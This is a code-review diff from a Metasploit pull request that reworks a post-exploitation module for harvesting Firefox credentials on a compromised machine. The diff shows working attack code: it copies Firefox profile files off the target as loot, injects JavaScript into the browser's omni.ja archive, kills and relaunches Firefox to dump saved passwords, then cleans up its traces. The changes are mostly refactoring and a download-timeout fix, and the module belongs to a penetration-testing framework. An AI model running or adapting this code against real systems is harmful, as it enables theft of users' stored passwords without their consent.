Merge pull request #1 from jvazquez-r7/review_5720

Fix download of files on linux
bug/bundler_fix
g0tmi1k 2015-10-28 10:27:42 +00:00
commit 3648004527
1 changed files with 159 additions and 146 deletions

View File

@ -58,15 +58,13 @@ class Metasploit3 < Msf::Post
))
register_options([
OptBool.new('DECRYPT',
[false, 'Decrypts passwords without third party tools', false])
OptBool.new('DECRYPT', [false, 'Decrypts passwords without third party tools', false])
], self.class)
register_advanced_options([
OptBool.new('DISCLAIMER',
[false, 'Acknowledge the DECRYPT warning', false]),
OptBool.new('RECOVER',
[false, 'Attempt to recover from bad DECRYPT when possible', false])
OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Timeout to wait when downloading files through shell sessions', 20]),
OptBool.new('DISCLAIMER', [false, 'Acknowledge the DECRYPT warning', false]),
OptBool.new('RECOVER', [false, 'Attempt to recover from bad DECRYPT when possible', false])
], self.class)
end
@ -91,89 +89,7 @@ class Metasploit3 < Msf::Post
end
if datastore['DECRYPT']
if !datastore['DISCLAIMER']
decrypt_disclaimer
return
end
omnija = nil # non meterpreter download
org_file = 'omni.ja' # key file
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
temp_file = "orgomni.ja" # backup of key file #Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
# Sets @paths
return unless decrypt_get_env
# Check target for the necessary files
if session.type == "meterpreter"
if session.fs.file.exists?(@paths['ff'] + temp_file) and !session.fs.file.exists?(@paths['ff'] + org_file)
print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
return
elsif session.fs.file.exists?(@paths['ff'] + temp_file)
decrypt_file_stats(temp_file, org_file, @paths['ff'])
if !datastore['RECOVER']
print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
print_line
return
else
return unless decrypt_recover_omni(temp_file, org_file, @paths['ff'])
end
elsif !session.fs.file.exists?(@paths['ff'] + org_file)
print_error("Could not download #{org_file}. File does not exist.")
return
end
end # session.type == "meterpreter"
session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")
tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
if session.type == "meterpreter" # If meterpreter is an option, lets use it!
session.fs.file.download_file(tmp, @paths['ff'] + org_file)
else # Fall back shells
omnija = read_file(@paths['ff'] + org_file)
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
print_error("Could not download: #{@paths['ff'] + org_file}")
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
return
end
print_status("Saving #{org_file} to: #{tmp}")
file_local_write(tmp, omnija)
end
res = nil
print_status("Injecting into: #{tmp}")
begin
# Automatically commits the changes made to the zip archive when the block terminates
Zip::File.open(tmp) do |zip_file|
res = decrypt_modify_omnija(zip_file)
end
rescue Zip::Error => e
print_error("Error modifying: #{tmp}")
return
end
if res
vprint_good("Successfully modified: #{tmp}")
else
print_error("Failed to inject")
return
end
print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
print_warning("This may take some time...") if @platform =~ /unix|osx/
if session.type == "meterpreter"
session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
else
if !upload_file(@paths['ff'] + new_file, tmp)
print_error("Could not upload: #{tmp}")
return
end
end
return if !decrypt_trigger_decrypt(org_file, new_file, temp_file)
decrypt_download_creds
do_decrypt
else # Non DECRYPT
paths = []
paths = enum_users
@ -185,9 +101,94 @@ class Metasploit3 < Msf::Post
download_loot(paths.flatten)
end
print_line
end
def do_decrypt
unless datastore['DISCLAIMER']
decrypt_disclaimer
return
end
omnija = nil # non meterpreter download
org_file = 'omni.ja' # key file
new_file = Rex::Text::rand_text_alpha(5 + rand(3)) + ".ja"
temp_file = "orgomni.ja" # backup of key file
# Sets @paths
return unless decrypt_get_env
# Check target for the necessary files
if session.type == "meterpreter"
if session.fs.file.exists?(@paths['ff'] + temp_file) && !session.fs.file.exists?(@paths['ff'] + org_file)
print_error("Detected #{temp_file} without #{org_file}. This is a good sign of previous DECRYPT attack gone wrong.")
return
elsif session.fs.file.exists?(@paths['ff'] + temp_file)
decrypt_file_stats(temp_file, org_file, @paths['ff'])
if datastore['RECOVER']
return unless decrypt_recover_omni(temp_file, org_file)
else
print_warning("If you wish to continue by trying to recover, set the advanced option, RECOVER, to TRUE.")
return
end
elsif !session.fs.file.exists?(@paths['ff'] + org_file)
print_error("Could not download #{org_file}. File does not exist.")
return
end
end # session.type == "meterpreter"
session.type == "meterpreter" ? (size = "(%s MB)" % "%0.2f" % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = "")
tmp = Dir::tmpdir + "/" + new_file # Cross platform local tempdir, "/" should work on Windows too
print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size)
if session.type == "meterpreter" # If meterpreter is an option, lets use it!
session.fs.file.download_file(tmp, @paths['ff'] + org_file)
else # Fall back shells
omnija = read_file(@paths['ff'] + org_file)
if omnija.nil? or omnija.empty? or omnija =~ /No such file/i
print_error("Could not download: #{@paths['ff'] + org_file}")
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading)") if session.type != "meterpreter"
return
end
print_status("Saving #{org_file} to: #{tmp}")
file_local_write(tmp, omnija)
end
res = nil
print_status("Injecting into: #{tmp}")
begin
# Automatically commits the changes made to the zip archive when the block terminates
Zip::File.open(tmp) do |zip_file|
res = decrypt_modify_omnija(zip_file)
end
rescue Zip::Error => e
print_error("Error modifying: #{tmp}")
return
end
if res
vprint_good("Successfully modified: #{tmp}")
else
print_error("Failed to inject")
return
end
print_status("Uploading #{tmp} to: #{@paths['ff'] + new_file}")
print_warning("This may take some time...") if @platform =~ /unix|osx/
if session.type == "meterpreter"
session.fs.file.upload_file(@paths['ff'] + new_file, tmp)
else
unless upload_file(@paths['ff'] + new_file, tmp)
print_error("Could not upload: #{tmp}")
return
end
end
return unless decrypt_trigger_decrypt(org_file, new_file, temp_file)
decrypt_download_creds
end
def decrypt_disclaimer
print_line
@ -209,22 +210,21 @@ class Metasploit3 < Msf::Post
end
def decrypt_recover_omni(temp_file, org_file, path)
#print_status("Deleting: #{@paths['ff'] + temp_file} (Possible backup)")
#file_rm(@paths['ff'] + temp_file)
def decrypt_recover_omni(temp_file, org_file)
print_status("Restoring: #{@paths['ff'] + temp_file} (Possible backup)")
file_rm(@paths['ff'] + org_file)
rename_file(@paths['ff'] + temp_file, @paths['ff'] + org_file)
if session.type == "meterpreter"
print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exists?(@paths['ff'] + temp_file)
print_error("There is still #{temp_file} on the target. Something went wrong.") if session.fs.file.exists?(@paths['ff'] + temp_file)
if !session.fs.file.exists?(@paths['ff'] + org_file)
print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
return false
end
unless session.fs.file.exists?(@paths['ff'] + org_file)
print_error("#{org_file} is no longer at #{@paths['ff'] + org_file}")
return false
end
end # session.type == "meterpreter"
return true
true
end
@ -343,11 +343,16 @@ class Metasploit3 < Msf::Post
if @platform == :windows
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, "firefox_#{file}")
session.fs.file.download_file(p, path + "\\" + file)
print_good("Downloaded #{file}: #{p.to_s}")
else # windows has to be meterpreter, so can be anything else (unix, bsd, linux, osx)
loot = cmd_exec("cat #{path}//#{file}")
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
loot = cmd_exec("cat #{path}//#{file}", nil, datastore['DOWNLOAD_TIMEOUT'])
if loot.nil? || loot.empty?
print_error("Failed to download #{file}, if the file is very long, try increasing DOWNLOAD_TIMEOUT")
else
p = store_loot("ff.#{profile}.#{file}", "#{mime}/#{ext}", session, loot, "firefox_#{file}", "#{file} for #{profile}")
print_good("Downloaded #{file}: #{p.to_s}")
end
end
print_good("Downloaded #{file}: #{p.to_s}")
end
end
print_line
@ -355,7 +360,7 @@ class Metasploit3 < Msf::Post
end
# Checks for needed privileges and wheter Firefox is installed
# Checks for needed privileges and if Firefox is installed
def decrypt_get_env
@paths = {}
check_paths = []
@ -363,7 +368,7 @@ class Metasploit3 < Msf::Post
case @platform
when /win/
if !got_root and session.sys.config.sysinfo['OS'] !~ /xp/i
unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i
print_warning("You may need SYSTEM privileges on this platform for the DECRYPT option to work")
end
@ -375,7 +380,7 @@ class Metasploit3 < Msf::Post
check_paths << drive + '\\Program Files\\Mozilla Firefox\\'
check_paths << drive + '\\Program Files (x86)\\Mozilla Firefox\\'
when /unix/
if !got_root
unless got_root
print_error("You need ROOT privileges on this platform for DECRYPT option")
return false
end
@ -403,7 +408,6 @@ class Metasploit3 < Msf::Post
print_good("Found Firefox directory: #{check}")
true
else
#vprint_error("No Firefox directory found")
false
end
end
@ -414,18 +418,19 @@ class Metasploit3 < Msf::Post
end
@paths['loot'] = tmpdir + loot_file
return true
true
end
def decrypt_modify_omnija(zip)
# Which files to extract from ja/zip
files = [
'components/storage-mozStorage.js', # stor_js
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
]
'components/storage-mozStorage.js', # stor_js
'chrome/toolkit/content/passwordmgr/passwordManager.xul', # pwd_xul
'chrome/toolkit/content/global/commonDialog.xul', # dlog_xul
'jsloader/resource/gre/components/storage-mozStorage.js' # res_js (not 100% sure why this is used)
]
# Extract files from zip
arya = files.map do |omnija_file|
@ -501,21 +506,21 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
|
regex = [
nil, # dirty hack alert
[/return\slogins;/, method_epilog],
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
]
nil, # dirty hack alert
[/return\slogins;/, method_epilog],
[/Components\.utils\.import\("resource:\/\/gre\/modules\/XPCOMUtils\.jsm"\);/, imports]
]
# Match the last two regular expressions
i = 2 # ...this is todo with the nil in the above regex array & regex command below
x = i
stor_js['content'].each_line do |line|
# There is no real substitution if the matching regex has no corresponding patch code
if i != 0 and line.sub!(regex[i][0]) do |match|
if !regex[i][1].nil?
vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
regex[i][1]
end
if i != 0 && line.sub!(regex[i][0]) do |match|
if regex[i][1]
vprint_good("[#{x-i+1}/#{x}] Javascript injected - ./components/storage-mozStorage.js")
regex[i][1]
end
end # do |match|
i -= 1
end # if i != 0
@ -550,7 +555,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
print_error("No normal user found")
return false
end
user = users.split()[0]
user = users.split[0]
# Since we can't access the display environment variable we have to assume the default value
args.insert(0, "\"#{@paths['ff']}firefox --display=:0 ")
args << "\""
@ -566,7 +571,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
session.sys.process.each_process do |p|
if p['name'] =~ /firefox\.exe/
print_status("Found running Firefox process, attempting to kill.")
if !session.sys.process.kill(p['pid'])
unless session.sys.process.kill(p['pid'])
print_error("Could not kill Firefox process")
return false
end
@ -577,7 +582,7 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
if p =~ /firefox/
print_status("Found running Firefox process, attempting to kill.")
term = cmd_exec("killall", "firefox && echo true")
if !term =~ /true/
if term !~ /true/
print_error("Could not kill Firefox process")
return false
end
@ -599,19 +604,19 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
# Automatic termination (window.close() - injected XUL or firefox cmd arguments)
print_status("Starting Firefox process to get #{whoami}'s credentials")
cmd_exec(cmd,args)
cmd_exec(cmd, args)
sleep(1)
# Lets just check theres something before going forward
if session.type == "meterpreter"
i=20
vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") if !session.fs.file.exists?(@paths['loot'])
while (!session.fs.file.exists?(@paths['loot']))
sleep 1
i -= 1
break if i == 0
end
print_error("Missing loot file. Something went wrong.") if !session.fs.file.exists?(@paths['loot'])
i=20
vprint_status("Waiting up to #{i} seconds for loot file (#{@paths['loot']}) to be generated") unless session.fs.file.exists?(@paths['loot'])
while (!session.fs.file.exists?(@paths['loot']))
sleep 1
i -= 1
break if i == 0
end
print_error("Missing loot file. Something went wrong.") unless session.fs.file.exists?(@paths['loot'])
end # session.type == "meterpreter"
print_status("Restoring original .JA: #{temp_file}")
@ -622,23 +627,25 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
vprint_status("Cleaning up: #{new_file}")
file_rm(new_file)
if session.type == "meterpreter"
if session.fs.file.exists?(temp_file)
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
end
if !session.fs.file.exists?(org_file)
print_error("Unable to find #{org_file} on target. Something went wrong.")
end
if session.fs.file.exists?(temp_file)
print_error("Detected backup file (#{temp_file}) still on the target. Something went wrong.")
end
unless session.fs.file.exists?(org_file)
print_error("Unable to find #{org_file} on target. Something went wrong.")
end
end # session.type == "meterpreter"
# At this time, there should have a loot file
if !session.fs.file.exists?(@paths['loot']) and session.type == "meterpreter"
print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
return false
if session.type == "meterpreter"
unless session.fs.file.exists?(@paths['loot'])
print_error("DECRYPT failed. Either something went wrong (download/upload? Injecting?), there is a master password or an unsupported Firefox version.")
# Another issue is encoding. The files may be seen as 'data' rather than 'ascii'
print_error("Tip: Try swtiching to a meterpreter shell if possible (as its more reliable/stable when downloading/uploading)") if session.type != "meterpreter"
return false
end
end
return true
true
end
@ -717,6 +724,12 @@ Components.utils.import("resource://gre/modules/XPCOMUtils.jsm");
def whoami
@platform == :windows ? (session.sys.config.getenv('USERNAME')) : (cmd_exec("whoami").chomp)
if @platform == :windows
id = session.sys.config.getenv('USERNAME')
else
id = cmd_exec("id -un")
end
id
end
end